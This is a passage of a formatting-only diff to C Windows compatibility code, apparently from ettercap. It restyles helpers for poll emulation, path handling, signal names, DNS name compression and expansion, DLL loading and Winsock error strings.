+221,72 @@ static int __inline win_kbhit (void) #endif return _kbhit(); } - + /* - * A poll() using select() + * A poll() using select() */ -int ec_win_poll (struct pollfd *p, int num, int timeout) +int ec_win_poll(struct pollfd *p, int num, int timeout) { - struct timeval tv; - int i, n, ret, num_fd = (num + sizeof(fd_set)-1) / sizeof(fd_set); - fd_set read [num_fd]; - fd_set write [num_fd]; - fd_set excpt [num_fd]; - - FD_ZERO (&read); - FD_ZERO (&write); - FD_ZERO (&excpt); - - n = -1; - for (i = 0; i < num; i++) { - if (p[i].fd < 0) - continue; - - if ((p[i].events & POLLIN) && i != STDIN_FILENO) - FD_SET (p[i].fd, &read[0]); - - if ((p[i].events & POLLOUT) && i != STDOUT_FILENO) - FD_SET (p[i].fd, &write[0]); - - if (p[i].events & POLLERR) - FD_SET (p[i].fd, &excpt[0]); - - if (p[i].fd > n) - n = p[i].fd; - } - - if (n == -1) - return (0); - - if (timeout < 0) - ret = select (n+1, &read[0], &write[0], &excpt[0], NULL); - else { - tv.tv_sec = MILLI2SEC(timeout); - tv.tv_usec = MILLI2MICRO((timeout % 1000)); - ret = select (n+1, &read[0], &write[0], &excpt[0], &tv); - } - - for (i = 0; ret >= 0 && i < num; i++) { - p[i].revents = 0; - if (FD_ISSET (p[i].fd, &read[0])) - p[i].revents |= POLLIN; - if (FD_ISSET (p[i].fd, &write[0])) - p[i].revents |= POLLOUT; - if (FD_ISSET (p[i].fd, &excpt[0])) - p[i].revents |= POLLERR; - } - - if ((p[STDIN_FILENO].events & POLLIN) && num >= STDIN_FILENO && win_kbhit()) { - p [STDIN_FILENO].revents = POLLIN; - ret++; - } - if ((p[STDOUT_FILENO].events & POLLOUT) && num >= STDOUT_FILENO && - isatty(STDOUT_FILENO) >= 0) { - p [STDOUT_FILENO].revents = POLLOUT; - ret++; - } - return (ret); + struct timeval tv; + int i, n, ret, num_fd = (num + sizeof(fd_set) - 1) / sizeof(fd_set); + fd_set read[num_fd]; + fd_set write[num_fd]; + fd_set excpt[num_fd]; + + FD_ZERO(&read); + FD_ZERO(&write); + FD_ZERO(&excpt); + + n = -1; + for (i = 0; i < num; i++) { + if (p[i].fd < 0) + continue; + + if ((p[i].events & POLLIN) && i != STDIN_FILENO) + FD_SET(p[i].fd, &read[0]); + + if ((p[i].events & POLLOUT) && i != STDOUT_FILENO) + FD_SET(p[i].fd, &write[0]); + + if (p[i].events & POLLERR) + FD_SET(p[i].fd, &excpt[0]); + + if (p[i].fd > n) + n = p[i].fd; + } + + if (n == -1) + return 0; + + if (timeout < 0) + ret = select(n + 1, &read[0], &write[0], &excpt[0], NULL); + else { + tv.tv_sec = MILLI2SEC(timeout); + tv.tv_usec = MILLI2MICRO((timeout % 1000)); + ret = select(n + 1, &read[0], &write[0], &excpt[0], &tv); + } + + for (i = 0; ret >= 0 && i < num; i++) { + p[i].revents = 0; + if (FD_ISSET(p[i].fd, &read[0])) + p[i].revents |= POLLIN; + if (FD_ISSET(p[i].fd, &write[0])) + p[i].revents |= POLLOUT; + if (FD_ISSET(p[i].fd, &excpt[0])) + p[i].revents |= POLLERR; + } + + if ((p[STDIN_FILENO].events & POLLIN) && num >= STDIN_FILENO && win_kbhit()) { + p[STDIN_FILENO].revents = POLLIN; + ret++; + } + if ((p[STDOUT_FILENO].events & POLLOUT) && num >= STDOUT_FILENO && + isatty(STDOUT_FILENO) >= 0) + { + p[STDOUT_FILENO].revents = POLLOUT; + ret++; + } + return ret; } /* @@ -293,16 +294,16 @@ int ec_win_poll (struct pollfd *p, int num, int timeout) * Replace trailing '//' with '/'. * All (?) Windows core functions and libc handles this fine. */ -static char *slashify (char *path) +static char *slashify(char *path) { - char *p; - - for (p = strchr(path,'\\'); p && *p; p = strchr(p,'\\')) + char *p; + + for (p = strchr(path, '\\'); p && *p; p = strchr(p, '\\')) *p++ = '/'; - if (p >= path+2 && *p == '\0' && p[-1] == '/' && p[-2] == '/') - *(--p) = '\0'; - - return (path); + if (p >= path + 2 && *p == '\0' && p[-1] == '/' && p[-2] == '/') + *(--p) = '\0'; + + return path; } /* @@ -314,213 +315,213 @@ static char *slashify (char *path) * * Not used yet. */ -const char *ec_win_get_user_dir (void) +const char *ec_win_get_user_dir(void) { - static char path[PATH_MAX] = ""; - char *home; - - if (path[0]) - return (path); - - home = getenv ("HOME"); - if (home) - strncpy (path, home, sizeof(path)-1); - else { - home = getenv ("APPDATA"); /* Win-9x/ME */ - if (home) - strncpy (path, home, sizeof(path)-1); - else { - home = getenv ("USERPROFILE"); /* Win-2K/XP */ + static char path[PATH_MAX] = ""; + char *home; + + if (path[0]) + return path; + + home = getenv("HOME"); + if (home) + strncpy(path, home, sizeof(path) - 1); + else { + home = getenv("APPDATA"); /* Win-9x/ME */ if (home) - snprintf (path, sizeof(path)-1, "%s\\Application Data", home); - else - strncpy (path, ec_win_get_ec_dir(), sizeof(path)-1); - } - } - path [sizeof(path)-1] = '\0'; - return slashify (path); + strncpy(path, home, sizeof(path) - 1); + else { + home = getenv("USERPROFILE"); /* Win-2K/XP */ + if (home) + snprintf(path, sizeof(path) - 1, "%s\\Application Data", home); + else + strncpy(path, ec_win_get_ec_dir(), sizeof(path) - 1); + } + } + path[sizeof(path) - 1] = '\0'; + return slashify(path); } /* * Return directory of running program. */ -const char *ec_win_get_ec_dir (void) +const char *ec_win_get_ec_dir(void) { - static char path[PATH_MAX] = "c:\\"; - char *slash; + static char path[PATH_MAX] = "c:\\"; + char *slash; - if (GetModuleFileName(NULL,path,sizeof(path)) && - (slash = strrchr(path,'\\')) != NULL) - *slash = '\0'; - return slashify (path); + if (GetModuleFileName(NULL, path, sizeof(path)) && + (slash = strrchr(path, '\\')) != NULL) + *slash = '\0'; + return slashify(path); } /* * Return name of a signal */ -const char *ec_win_strsignal (int signo) +const char *ec_win_strsignal(int signo) { - static char buf [20]; + static char buf[20]; - switch (signo) { - case 0: - return ("None"); + switch (signo) { + case 0: + return "None"; #ifdef SIGINT - case SIGINT: - return ("SIGINT"); + case SIGINT: + return "SIGINT"; #endif #ifdef SIGABRT - case SIGABRT: - return ("SIGABRT"); + case SIGABRT: + return "SIGABRT"; #endif #ifdef SIGFPE - case SIGFPE: - return ("SIGFPE"); + case SIGFPE: + return "SIGFPE"; #endif #ifdef SIGILL - case SIGILL: - return ("SIGILL"); + case SIGILL: + return "SIGILL"; #endif #ifdef SIGSEGV - case SIGSEGV: - return ("SIGSEGV"); + case SIGSEGV: + return "SIGSEGV"; #endif #ifdef SIGTERM - case SIGTERM: - return ("SIGTERM"); + case SIGTERM: + return "SIGTERM"; #endif #ifdef SIGALRM - case SIGALRM: - return ("SIGALRM"); + case SIGALRM: + return "SIGALRM"; #endif #ifdef SIGHUP - case SIGHUP: - return ("SIGHUP"); + case SIGHUP: + return "SIGHUP"; #endif #ifdef SIGKILL - case SIGKILL: - return ("SIGKILL"); + case SIGKILL: + return "SIGKILL"; #endif #ifdef SIGPIPE - case SIGPIPE: - return ("SIGPIPE"); + case SIGPIPE: + return "SIGPIPE"; #endif #ifdef SIGQUIT - case SIGQUIT: - return ("SIGQUIT"); + case SIGQUIT: + return "SIGQUIT"; #endif #ifdef SIGUSR1 - case SIGUSR1: - return ("SIGUSR1"); + case SIGUSR1: + return "SIGUSR1"; #endif #ifdef SIGUSR2 - case SIGUSR2: - return ("SIGUSR2"); + case SIGUSR2: + return "SIGUSR2"; #endif #ifdef SIGUSR3 - case SIGUSR3: - return ("SIGUSR3"); + case SIGUSR3: + return "SIGUSR3"; #endif #ifdef SIGNOFP - case SIGNOFP: - return ("SIGNOFP"); + case SIGNOFP: + return "SIGNOFP"; #endif #ifdef SIGTRAP - case SIGTRAP: - return ("SIGTRAP"); + case SIGTRAP: + return "SIGTRAP"; #endif #ifdef SIGTIMR - case SIGTIMR: - return ("SIGTIMR"); + case SIGTIMR: + return "SIGTIMR"; #endif #ifdef SIGPROF - case SIGPROF: - return ("SIGPROF"); + case SIGPROF: + return "SIGPROF"; #endif #ifdef SIGSTAK - case SIGSTAK: - return ("SIGSTAK"); + case SIGSTAK: + return "SIGSTAK"; #endif #ifdef SIGBRK - case SIGBRK: - return ("SIGBRK"); + case SIGBRK: + return "SIGBRK"; #endif #ifdef SIGBUS - case SIGBUS: - return ("SIGBUS"); + case SIGBUS: + return "SIGBUS"; #endif #ifdef SIGIOT - case SIGIOT: - return ("SIGIOT"); + case SIGIOT: + return "SIGIOT"; #endif #ifdef SIGEMT - case SIGEMT: - return ("SIGEMT"); + case SIGEMT: + return "SIGEMT"; #endif #ifdef SIGSYS - case SIGSYS: - return ("SIGSYS"); + case SIGSYS: + return "SIGSYS"; #endif #ifdef SIGCHLD - case SIGCHLD: - return ("SIGCHLD"); + case SIGCHLD: + return "SIGCHLD"; #endif #ifdef SIGPWR - case SIGPWR: - return ("SIGPWR"); + case SIGPWR: + return "SIGPWR"; #endif #ifdef SIGWINCH - case SIGWINCH: - return ("SIGWINCH"); + case SIGWINCH: + return "SIGWINCH"; #endif #ifdef SIGPOLL - case SIGPOLL: - return ("SIGPOLL"); + case SIGPOLL: + return "SIGPOLL"; #endif #ifdef SIGCONT - case SIGCONT: - return ("SIGCONT"); + case SIGCONT: + return "SIGCONT"; #endif #ifdef SIGSTOP - case SIGSTOP: - return ("SIGSTOP"); + case SIGSTOP: + return "SIGSTOP"; #endif #ifdef SIGTSTP - case SIGTSTP: - return ("SIGTSTP"); + case SIGTSTP: + return "SIGTSTP"; #endif #ifdef SIGTTIN - case SIGTTIN: - return ("SIGTTIN"); + case SIGTTIN: + return "SIGTTIN"; #endif #ifdef SIGTTOU - case SIGTTOU: - return ("SIGTTOU"); + case SIGTTOU: + return "SIGTTOU"; #endif #ifdef SIGURG - case SIGURG: - return ("SIGURG"); + case SIGURG: + return "SIGURG"; #endif #ifdef SIGLOST - case SIGLOST: - return ("SIGLOST"); + case SIGLOST: + return "SIGLOST"; #endif #ifdef SIGDIL - case SIGDIL: - return ("SIGDIL"); + case SIGDIL: + return "SIGDIL"; #endif #ifdef SIGXCPU - case SIGXCPU: - return ("SIGXCPU"); + case SIGXCPU: + return "SIGXCPU"; #endif #ifdef SIGXFSZ - case SIGXFSZ: - return ("SIGXFSZ"); + case SIGXFSZ: + return "SIGXFSZ"; #endif - } - strncpy (buf, "Unknown ", 9); - itoa (signo, buf+8, 10); - return (buf); + } + strncpy(buf, "Unknown ", 9); + itoa(signo, buf + 8, 10); + return buf; } /* @@ -534,11 +535,11 @@ int ec_win_fork(void) return -1; } -int ec_win_wait (int *status) +int ec_win_wait(int *status) { USER_MSG("wait() not yet supported\n"); errno = ENOSYS; - (void) status; + (void)status; return -1; } @@ -552,18 +553,18 @@ int ec_win_wait (int *status) * Return size of compressed name or -1 if there was an error. */ #ifndef INDIR_MASK - #define INDIR_MASK 0xc0 +#define INDIR_MASK 0xc0 #endif #ifndef MAXLABEL - #define MAXLABEL 63 /* maximum length of domain label */ +#define MAXLABEL 63 /* maximum length of domain label */ #endif -static int mklower (int ch) +static int mklower(int ch) { - if (isascii(ch) && isupper(ch)) - return (tolower(ch)); - return (ch); + if (isascii(ch) && isupper(ch)) + return tolower(ch); + return ch; } /* @@ -572,119 +573,119 @@ static int mklower (int ch) * dnptrs is the pointer to the first name on the list, * not the pointer to the start of the message. */ -static int dn_find (u_char *exp_dn, u_char *msg, u_char **dnptrs, u_char **lastdnptr) +static int dn_find(u_char *exp_dn, u_char *msg, u_char **dnptrs, u_char **lastdnptr) { - u_char **cpp; - - for (cpp = dnptrs; cpp < lastdnptr; cpp++) { - u_char *dn = exp_dn; - u_char *sp = *cpp; - u_char *cp = *cpp; - int n; - - while ((n = *cp++) != 0) { - /* - * check for indirection - */ - switch (n & INDIR_MASK) { - case 0: /* normal case, n == len */ - while (--n >= 0) { + u_char **cpp; + + for (cpp = dnptrs; cpp < lastdnptr; cpp++) { + u_char *dn = exp_dn; + u_char *sp = *cpp; + u_char *cp = *cpp; + int n; + + while ((n = *cp++) != 0) { + /* + * check for indirection + */ + switch (n & INDIR_MASK) { + case 0: /* normal case, n == len */ + while (--n >= 0) { if (*dn == '.') goto next; if (*dn == '\\') dn++; if (mklower(*dn++) != mklower(*cp++)) goto next; - } - if ((n = *dn++) == '\0' && *cp == '\0') - return (sp - msg); - if (n == '.') - continue; - goto next; - - case INDIR_MASK: /* indirection */ - cp = msg + (((n & 0x3f) << 8) | *cp); - break; - - default: /* illegal type */ - return (-1); + } + if ((n = *dn++) == '\0' && *cp == '\0') + return sp - msg; + if (n == '.') + continue; + goto next; + + case INDIR_MASK: /* indirection */ + cp = msg + (((n & 0x3f) << 8) | *cp); + break; + + default: /* illegal type */ + return -1; + } } - } - if (*dn == '\0') - return (sp - msg); - next: ; - } - return (-1); + if (*dn == '\0') + return sp - msg; +next: ; + } + return -1; } -int ec_win_dn_expand (const u_char *msg, const u_char *eom_orig, - const u_char *comp_dn, char *exp_dn, int length) +int ec_win_dn_expand(const u_char *msg, const u_char *eom_orig, + const u_char *comp_dn, char *exp_dn, int length) { - const u_char *cp; - char *dn, *eom; - int c, n, len = -1, checked = 0; - - dn = exp_dn; - cp = comp_dn; - eom = exp_dn + length; - - /* Fetch next label in domain name - */ - while ((n = *cp++) != 0) { - /* Check for indirection */ - switch (n & INDIR_MASK) { + const u_char *cp; + char *dn, *eom; + int c, n, len = -1, checked = 0; + + dn = exp_dn; + cp = comp_dn; + eom = exp_dn + length; + + /* Fetch next label in domain name + */ + while ((n = *cp++) != 0) { + /* Check for indirection */ + switch (n & INDIR_MASK) { case 0: - if (dn != exp_dn) { - if (dn >= eom) - return (-1); - *dn++ = '.'; - } - if (dn+n >= eom) - return (-1); - checked += n + 1; - while (--n >= 0) { - int c = *cp++; - if ((c == '.') || (c == '\\')) { + if (dn != exp_dn) { + if (dn >= eom) + return -1; + *dn++ = '.'; + } + if (dn + n >= eom) + return -1; + checked += n + 1; + while (--n >= 0) { + int c = *cp++; + if ((c == '.') || (c == '\\')) { if (dn + n + 2 >= eom) - return (-1); + return -1; *dn++ = '\\'; - } - *dn++ = c; - if (cp >= eom_orig) /* out of range */ - return (-1); - } - break; + } + *dn++ = c; + if (cp >= eom_orig) /* out of range */ + return -1; + } + break; case INDIR_MASK: - if (len < 0) - len = cp - comp_dn + 1; - cp = msg + (((n & 0x3f) << 8) | (*cp & 0xff)); - if (cp < msg || cp >= eom_orig) /* out of range */ - return (-1); - checked += 2; - /* - * Check for loops in the compressed name; - * if we've looked at the whole message, - * there must be a loop. - */ - if (checked >= eom_orig - msg) - return (-1); - break; + if (len < 0) + len = cp - comp_dn + 1; + cp = msg + (((n & 0x3f) << 8) | (*cp & 0xff)); + if (cp < msg || cp >= eom_orig) /* out of range */ + return -1; + checked += 2; + /* + * Check for loops in the compressed name; + * if we've looked at the whole message, + * there must be a loop. + */ + if (checked >= eom_orig - msg) + return -1; + break; default: - return (-1); /* flag error */ - } - } - - *dn = '\0'; - - for (dn = exp_dn; (c = *dn) != '\0'; dn++) - if (isascii(c) && isspace(c)) - return (-1); - - if (len < 0) - len = cp - comp_dn; - return (len); + return -1; /* flag error */ + } + } + + *dn = '\0'; + + for (dn = exp_dn; (c = *dn) != '\0'; dn++) + if (isascii(c) && isspace(c)) + return -1; + + if (len < 0) + len = cp - comp_dn; + return len; } /* @@ -699,392 +700,384 @@ int ec_win_dn_expand (const u_char *msg, const u_char *eom_orig, * If 'dnptr' is NULL, we don't try to compress names. If 'lastdnptr' * is NULL, we don't update the list. */ -int dn_comp (const char *exp_dn, u_char *comp_dn, int length, - u_char **dnptrs, u_char **lastdnptr) +int dn_comp(const char *exp_dn, u_char *comp_dn, int length, + u_char **dnptrs, u_char **lastdnptr) { - u_char *cp, *dn; - u_char **cpp, **lpp, *eob; - u_char *msg; - u_char *sp = NULL; - int c, l = 0; - - dn = (u_char *)exp_dn; - cp = comp_dn; - eob = cp + length; - lpp = cpp = NULL; - if (dnptrs) { - msg = *dnptrs++; - if (msg) { - for (cpp = dnptrs; *cpp; cpp++) - ; - lpp = cpp; /* end of list to search */ - } - } - else - msg = NULL; - - for (c = *dn++; c != '\0'; ) { - /* look to see if we can use pointers */ - if (msg) { - if ((l = dn_find (dn-1, msg, dnptrs, lpp)) >= 0) { - if (cp+1 >= eob) - return (-1); - *cp++ = (l >> 8) | INDIR_MASK; - *cp++ = l % 256; - return (cp - comp_dn); - } - /* not found, save it */ - if (lastdnptr && cpp < lastdnptr-1) { - *cpp++ = cp; - *cpp = NULL; + u_char *cp, *dn; + u_char **cpp, **lpp, *eob; + u_char *msg; + u_char *sp = NULL; + int c, l = 0; + + dn = (u_char *)exp_dn; + cp = comp_dn; + eob = cp + length; + lpp = cpp = NULL; + if (dnptrs) { + msg = *dnptrs++; + if (msg) { + for (cpp = dnptrs; *cpp; cpp++) + ; + lpp = cpp; /* end of list to search */ } - } - sp = cp++; /* save ptr to length byte */ - do { - if (c == '.') { - c = *dn++; - break; + } else + msg = NULL; + + for (c = *dn++; c != '\0';) { + /* look to see if we can use pointers */ + if (msg) { + if ((l = dn_find(dn - 1, msg, dnptrs, lpp)) >= 0) { + if (cp + 1 >= eob) + return -1; + *cp++ = (l >> 8) | INDIR_MASK; + *cp++ = l % 256; + return cp - comp_dn; + } + /* not found, save it */ + if (lastdnptr && cpp < lastdnptr - 1) { + *cpp++ = cp; + *cpp = NULL; + } } - if (c == '\\') { - if ((c = *dn++) == '\0') - break; + sp = cp++; /* save ptr to length byte */ + do { + if (c == '.') { + c = *dn++; + break; + } + if (c == '\\') { + if ((c = *dn++) == '\0') + break; + } + if (cp >= eob) { + if (msg) + *lpp = NULL; + return -1; + } + *cp++ = c; + } while ((c = *dn++) != '\0'); + + /* catch trailing '.'s but not '..' */ + if ((l = cp - sp - 1) == 0 && c == '\0') { + cp--; + break; } - if (cp >= eob) { - if (msg) - *lpp = NULL; - return (-1); + if (l <= 0 || l > MAXLABEL) { + if (msg) + *lpp = NULL; + return -1; } - *cp++ = c; - } - while ((c = *dn++) != '\0'); - - /* catch trailing '.'s but not '..' */ - if ((l = cp - sp - 1) == 0 && c == '\0') { - cp--; - break; - } - if (l <= 0 || l > MAXLABEL) { + *sp = l; + } + if (cp >= eob) { if (msg) *lpp = NULL; - return (-1); - } - *sp = l; - } - if (cp >= eob) { - if (msg) - *lpp = NULL; - return (-1); - } - *cp++ = '\0'; - return (cp - comp_dn); + return -1; + } + *cp++ = '\0'; + return cp - comp_dn; } - /* * dlopen() emulation (should not be exported) */ static const char *last_func; static DWORD last_error; -void *ec_win_dlopen (const char *dll_name, int flags _U_) +void *ec_win_dlopen(const char *dll_name, int flags _U_) { - void *rc; - - last_func = "ec_win_dlopen"; - rc = (void*) LoadLibrary (dll_name); - if (rc) - last_error = 0; - else last_error = GetLastError(); - return (rc); + void *rc; + + last_func = "ec_win_dlopen"; + rc = (void *)LoadLibrary(dll_name); + if (rc) + last_error = 0; + else last_error = GetLastError(); + return rc; } -void *ec_win_dlsym (const void *dll_handle, const char *func_name) +void *ec_win_dlsym(const void *dll_handle, const char *func_name) { - void *rc; - - last_func = "ec_win_dlsym"; - rc = (void*) GetProcAddress ((HINSTANCE)dll_handle, func_name); - if (rc) - last_error = 0; - else last_error = GetLastError(); - return (rc); + void *rc; + + last_func = "ec_win_dlsym"; + rc = (void *)GetProcAddress((HINSTANCE)dll_handle, func_name); + if (rc) + last_error = 0; + else last_error = GetLastError(); + return rc; } -void ec_win_dlclose (const void *dll_handle) +void ec_win_dlclose(const void *dll_handle) { - last_func = "ec_win_dlclose"; - if (FreeLibrary((HMODULE)dll_handle)) - last_error = 0; - else last_error = GetLastError(); + last_func = "ec_win_dlclose"; + if (FreeLibrary((HMODULE)dll_handle)) + last_error = 0; + else last_error = GetLastError(); } -const char *ec_win_dlerror (void) +const char *ec_win_dlerror(void) { - static char errbuf[1024]; + static char errbuf[1024]; - snprintf (errbuf, sizeof(errbuf)-1, "%s(): %s", last_func, ec_win_strerror(last_error)); - return (errbuf); + snprintf(errbuf, sizeof(errbuf) - 1, "%s(): %s", last_func, ec_win_strerror(last_error)); + return errbuf; } /* * This function handles most / all (?) Winsock errors we're able to produce. */ #if !defined(USE_GETTEXT) - #undef _ - #define _(s) s +#undef _ +#define _(s) s #endif -static char *get_winsock_error (int err, char *buf, size_t len) +static char *get_winsock_error(int err, char *buf, size_t len) { - char *p; - - switch (err) { - case WSAEINTR: - p = _("Call interrupted."); - break; - case WSAEBADF: - p = _("Bad file"); - break; - case WSAEACCES: - p = _("Bad access"); - break; - case WSAEFAULT: - p = _("Bad argument"); - break; - case WSAEINVAL: - p = _("Invalid arguments"); - break; - case WSAEMFILE: - p = _("Out of file descriptors"); - break; - case WSAEWOULDBLOCK: - p = _("Call would block"); - break; - case WSAEINPROGRESS: - case WSAEALREADY: - p = _("Blocking call progress"); - break; - case WSAENOTSOCK: - p = _("Descriptor is not a socket."); - break; - case WSAEDESTADDRREQ: - p = _("Need destination address"); - break; - case WSAEMSGSIZE: - p = _("Bad message size"); - break; - case WSAEPROTOTYPE: - p = _("Bad protocol"); - break; - case WSAENOPROTOOPT: - p = _("Protocol option is unsupported"); - break; - case WSAEPROTONOSUPPORT: - p = _("Protocol is unsupported"); - break; - case WSAESOCKTNOSUPPORT: - p = _("Socket is unsupported"); - break; - case WSAEOPNOTSUPP: - p = _("Operation not supported"); - break; - case WSAEAFNOSUPPORT: - p = _("Address family not supported"); - break; - case WSAEPFNOSUPPORT: - p = _("Protocol family not supported"); - break; - case WSAEADDRINUSE: - p = _("Address already in use"); - break; - case WSAEADDRNOTAVAIL: - p = _("Address not available"); - break; - case WSAENETDOWN: - p = _("Network down"); - break; - case WSAENETUNREACH: - p = _("Network unreachable"); - break; - case WSAENETRESET: - p = _("Network has been reset"); - break; - case WSAECONNABORTED: - p = _("Connection was aborted"); - break; - case WSAECONNRESET: - p = _("Connection was reset"); - break; - case WSAENOBUFS: - p = _("No buffer space"); - break; - case WSAEISCONN: - p = _("Socket is already connected"); - break; - case WSAENOTCONN: - p = _("Socket is not connected"); - break; - case WSAESHUTDOWN: - p = _("Socket has been shut down"); - break; - case WSAETOOMANYREFS: - p = _("Too many references"); - break; - case WSAETIMEDOUT: - p = _("Timed out"); - break; - case WSAECONNREFUSED: - p = _("Connection refused"); - break; - case WSAELOOP: - p = _("Loop??"); - break; - case WSAENAMETOOLONG: - p = _("Name too long"); - break; - case WSAEHOSTDOWN: - p = _("Host down"); - break; - case WSAEHOSTUNREACH: - p = _("Host unreachable"); - break; - case WSAENOTEMPTY: - p = _("Not empty"); - break; - case WSAEPROCLIM: - p = _("Process limit reached"); - break; - case WSAEUSERS: - p = _("Too many users"); - break; - case WSAEDQUOT: - p = _("Bad quota"); - break; - case WSAESTALE: - p = _("Something is stale"); - break; - case WSAEREMOTE: - p = _("Remote error"); - break; - case WSAEDISCON: - p = _("Disconnected"); - break; - - /* Extended Winsock errors */ - case WSASYSNOTREADY: - p = _("Winsock library is not ready"); - break; - case WSANOTINITIALISED: - p = _("Winsock library not initalised"); - break; - case WSAVERNOTSUPPORTED: - p = _("Winsock version not supported."); - break; - - /* getXbyY() errors (already handled in herrmsg): - Authoritative Answer: Host not found */ - case WSAHOST_NOT_FOUND: - p = _("Host not found"); - break; - - /* Non-Authoritative: Host not found, or SERVERFAIL */ - case WSATRY_AGAIN: - p = _("Host not found, try again"); - break; - - /* Non recoverable errors, FORMERR, REFUSED, NOTIMP */ - case WSANO_RECOVERY: - p = _("Unrecoverable error in call to nameserver"); - break; - - /* Valid name, no data record of requested type */ - case WSANO_DATA: - p = _("No data record of requested type"); - break; - - default: - return NULL; - } - strncpy (buf, p, len); - buf [len-1] = '\0'; - return buf; -} + char *p; + switch (err) { + case WSAEINTR: + p = _("Call interrupted."); + break; + case WSAEBADF: + p = _("Bad file"); + break; + case WSAEACCES: + p = _("Bad access"); + break; + case WSAEFAULT: + p = _("Bad argument"); + break; + case WSAEINVAL: + p = _("Invalid arguments"); + break; + case WSAEMFILE: + p = _("Out of file descriptors"); + break; + case WSAEWOULDBLOCK: + p = _("Call would block"); + break; + case WSAEINPROGRESS: + case WSAEALREADY: + p = _("Blocking call progress"); + break; + case WSAENOTSOCK: + p = _("Descriptor is not a socket."); + break; + case WSAEDESTADDRREQ: + p = _("Need destination address"); + break; + case WSAEMSGSIZE: + p = _("Bad message size"); + break; + case WSAEPROTOTYPE: + p = _("Bad protocol"); + break; + case WSAENOPROTOOPT: + p = _("Protocol option is unsupported"); + break; + case WSAEPROTONOSUPPORT: + p = _("Protocol is unsupported"); + break; + case WSAESOCKTNOSUPPORT: + p = _("Socket is unsupported"); + break; + case WSAEOPNOTSUPP: + p = _("Operation not supported"); + break; + case WSAEAFNOSUPPORT: + p = _("Address family not supported"); + break; + case WSAEPFNOSUPPORT: + p = _("Protocol family not supported"); + break; + case WSAEADDRINUSE: + p = _("Address already in use"); + break; + case WSAEADDRNOTAVAIL: + p = _("Address not available"); + break; + case WSAENETDOWN: + p = _("Network down"); + break; + case WSAENETUNREACH: + p = _("Network unreachable"); + break; + case WSAENETRESET: + p = _("Network has been reset"); + break; + case WSAECONNABORTED: + p = _("Connection was aborted"); + break; + case WSAECONNRESET: + p = _("Connection was reset"); + break; + case WSAENOBUFS: + p = _("No buffer space"); + break; + case WSAEISCONN: + p = _("Socket is already connected"); + break; + case WSAENOTCONN: + p = _("Socket is not connected"); + break; + case WSAESHUTDOWN: + p = _("Socket has been shut down"); + break; + case WSAETOOMANYREFS: + p = _("Too many references"); + break; + case WSAETIMEDOUT: + p = _("Timed out"); + break; + case WSAECONNREFUSED: + p = _("Connection refused"); + break; + case WSAELOOP: + p = _("Loop??"); + break; + case WSAENAMETOOLONG: + p = _("Name too long"); + break; + case WSAEHOSTDOWN: + p = _("Host down"); + break; + case WSAEHOSTUNREACH: + p = _("Host unreachable"); + break; + case WSAENOTEMPTY: + p = _("Not empty"); + break; + case WSAEPROCLIM: + p = _("Process limit reached"); + break; + case WSAEUSERS: + p = _("Too many users"); + break; + case WSAEDQUOT: + p = _("Bad quota"); + break; + case WSAESTALE: + p = _("Something is stale"); + break; + case WSAEREMOTE: + p = _("Remote error"); + break; + case WSAEDISCON: + p = _("Disconnected"); + break; + + /* Extended Winsock errors */ + case WSASYSNOTREADY: + p = _("Winsock library is not ready"); + break; + case WSANOTINITIALISED: + p = _("Winsock library not initalised"); + break; + case WSAVERNOTSUPPORTED: + p = _("Winsock version not supported."); + break; + + /* getXbyY() errors (already handled in herrmsg): + * Authoritative Answer: Host not found */ + case WSAHOST_NOT_FOUND: + p = _("Host not found"); + break; + + /* Non-Authoritative: Host not found, or SERVERFAIL */ + case WSATRY_AGAIN: + p = _("Host not found, try again"); + break; + + /* Non recoverable errors, FORMERR, REFUSED, NOTIMP */ + case WSANO_RECOVERY: + p = _("Unrecoverable error in call to nameserver"); + break; + + /* Valid name, no data record of requested type */ + case WSANO_DATA: + p = _("No data record of requested type"); + break; + + default: + return NULL; + } + strncpy(buf, p, len); + buf[len - 1] = '\0'; + return buf; +} /* * A smarter strerror() */ #undef strerror -char *ec_win_strerror (int err) +char *ec_win_strerror(int err) { - static char buf[512]; - - - DWORD lang = MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT); - DWORD flags = FORMAT_MESSAGE_FROM_SYSTEM | - FORMAT_MESSAGE_IGNORE_INSERTS | - FORMAT_MESSAGE_MAX_WIDTH_MASK; - char *p; - - if (err >= 0 && err < sys_nerr) - { - strncpy (buf, strerror(err), sizeof(buf)-1); - buf [sizeof(buf)-1] = '\0'; - } - else - { - if (!get_winsock_error (err, buf, sizeof(buf)) && - !FormatMessage (flags, NULL, err, - lang, buf, sizeof(buf)-1, NULL)) - snprintf (buf, 512, "Unknown error %d (%#x)", err, err); - } - - - /* strip trailing '\r\n' or '\n'. */ - p = strrchr (buf, '\n'); - if (p && (p - buf) >= 2) - *p = '\0'; - - p = strrchr (buf, '\r'); - if (p && (p - buf) >= 1) - *p = '\0'; - - return (buf); + static char buf[512]; + + DWORD lang = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT); + DWORD flags = FORMAT_MESSAGE_FROM_SYSTEM | + FORMAT_MESSAGE_IGNORE_INSERTS | + FORMAT_MESSAGE_MAX_WIDTH_MASK; + char *p; + + if (err >= 0 && err < sys_nerr) { + strncpy(buf, strerror(err), sizeof(buf) - 1); + buf[sizeof(buf) - 1] = '\0'; + } else { + if (!get_winsock_error(err, buf, sizeof(buf)) && + !FormatMessage(flags, NULL, err, + lang, buf, sizeof(buf) - 1, NULL)) + snprintf(buf, 512, "Unknown error %d (%#x)", err, err); + } + + /* strip trailing '\r\n' or '\n'. */ + p = strrchr(buf, '\n'); + if (p && (p - buf) >= 2) + *p = '\0'; + + p = strrchr(buf, '\r'); + if (p && (p - buf) >= 1) + *p = '\0'; + + return buf; } #if defined(HAVE_NCURSES) && !defined(BUILDING_UTILS) -int vwprintw (WINDOW *win, const char *fmt, va_list args) +int vwprintw(WINDOW *win, const char *fmt, va_list args) { - char buf[1024]; + char buf[1024]; - if (trace_on) - PDC_debug ("vwprintw() - called\n"); - _vsnprintf (buf, sizeof(buf), fmt, args); - return wprintw (win, buf); + if (trace_on) + PDC_debug("vwprintw() - called\n"); + _vsnprintf(buf, sizeof(buf), fmt, args); + return wprintw(win, buf); } -#endif /* HAVE_NCURSES && !BUILDING_UTILS */ -static void pdc_ncurses_init (void) +#endif /* HAVE_NCURSES && !BUILDING_UTILS */ + +static void pdc_ncurses_init(void) { #if defined(HAVE_NCURSES) && !defined(BUILDING_UTILS) - const char *env = getenv ("CURSES_TRACE"); + const char *env = getenv("CURSES_TRACE"); - if (env && atoi(env) > 0) { - traceon(); - putenv 